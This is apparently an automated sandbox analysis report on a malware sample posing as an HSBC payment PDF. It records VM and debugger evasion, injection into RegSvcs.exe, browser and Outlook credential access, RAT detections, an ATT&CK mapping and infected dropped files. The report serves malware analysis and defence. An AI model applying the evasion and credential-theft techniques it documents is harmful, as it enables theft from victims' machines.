Source: Spectrum.exe, 00000014.00000003.1495285221.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v@oem2.inf,%loc.vmwarebusdevicedesc%;VMware VMCI Bus Device
Source: Spectrum.exe, 00000014.00000003.1495285221.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4NECVMWar VMware SATA CD00
Source: SensorDataService.exe, 00000012.00000003.1462152441.0000000000588000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Z2VMware Virtual USB MouseJC:\Windows\System32\DDORes.dll,-2212
Source: Spectrum.exe, 00000014.00000003.1495683594.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: B_SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 00000014.00000003.1495683594.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device
Source: Spectrum.exe, 00000014.00000003.1495683594.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00
Source: Spectrum.exe, 00000014.00000003.1495285221.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Spectrum.exe, 00000014.00000003.1493327773.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device
Source: SensorDataService.exe, 00000012.00000003.1461972151.000000000059A000.00000004.00000020.00020000.00000000.sdmp, SensorDataService.exe, 00000012.00000003.1462082089.000000000059A000.00000004.00000020.00020000.00000000.sdmp, SensorDataService.exe, 00000012.00000003.1461666228.000000000058B000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1495410432.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1495620937.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000002.2602829063.00000000005E6000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1495285221.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter
Source: Spectrum.exe, 00000014.00000003.1493327773.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 00000014.00000003.1495285221.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JVMware Virtual disk SCSI Disk Device

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	API call chain: ExitProcess graph end node			graph_0-180293
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	API call chain: ExitProcess graph end node			graph_0-180644

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 5_2_05D64560 LdrInitializeThunk,LdrInitializeThunk,

5_2_05D64560

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00473F09 BlockInput,

0_2_00473F09

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00403B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00403B3A

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00435A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00435A7C

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00404B37 LoadLibraryA,GetProcAddress,

0_2_00404B37

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00535FF8 mov eax, dword ptr fs:[00000030h]	0_2_00535FF8
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00AC1158 mov eax, dword ptr fs:[00000030h]	0_2_00AC1158
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00AC27D8 mov eax, dword ptr fs:[00000030h]	0_2_00AC27D8
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00AC2778 mov eax, dword ptr fs:[00000030h]	0_2_00AC2778
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F11130 mov eax, dword ptr fs:[00000030h]	0_2_02F11130
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F534CD mov eax, dword ptr fs:[00000030h]	0_2_02F534CD
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 16_2_00981130 mov eax, dword ptr fs:[00000030h]	16_2_00981130
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 16_2_009C34CD mov eax, dword ptr fs:[00000030h]	16_2_009C34CD

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_004580A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_004580A9

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0042A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0042A155
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0042A124 SetUnhandledExceptionFilter,	0_2_0042A124
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F5420B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_02F5420B
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F508F1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02F508F1
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 16_2_009C08F1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_009C08F1
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 16_2_009C420B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_009C420B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

.NET source code references suspicious native API functions

HIPS / PFW / Operating System Protection Evasion

Source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtOpenKeyEx: Indirect: 0x140077B9B	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtQueryValueKey: Indirect: 0x140077C9F	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtClose: Indirect: 0x140077E81

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Writes to foreign memory regions

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 779008

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_004587B1 LogonUserW,

0_2_004587B1

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00403B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00403B3A

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_004048D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004048D7

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00464C53 mouse_event,

0_2_00464C53

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00457CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00457CAF

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_0045874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_0045874B

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_0042862B cpuid

0_2_0042862B

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\Queue\TST8584.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\TST8595.tmp VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\perfhost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Spectrum.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\TieringEngineService.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00434E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00434E87

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00441E06 GetUserNameW,

0_2_00441E06

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00433F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00433F3A

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_004049A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004049A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected MassLogger RAT

Stealing of Sensitive Information

Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2724, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2724, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Yara detected MassLogger RAT

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: WIN_81
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: WIN_XP
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: WIN_XPe
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: WIN_VISTA
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: WIN_7
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: WIN_8
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2724, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2724, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2724, type: MEMORYSTR

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00476283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00476283
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00476747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00476747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	33 Native API	1 LSASS Driver	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Valid Accounts	1 LSASS Driver	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	4 Obfuscated Files or Information	NTDS	327 System Information Discovery	Distributed Component Object Model	121 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Valid Accounts	2 Software Packing	LSA Secrets	331 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	1 Timestomp	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	212 Process Injection	1 DLL Side-Loading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	222 Masquerading	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Valid Accounts	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	212 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	79%	ReversingLabs	Win32.Virus.Expiro
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	100%	Avira	W32/Infector.Gen
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Infector.Gen
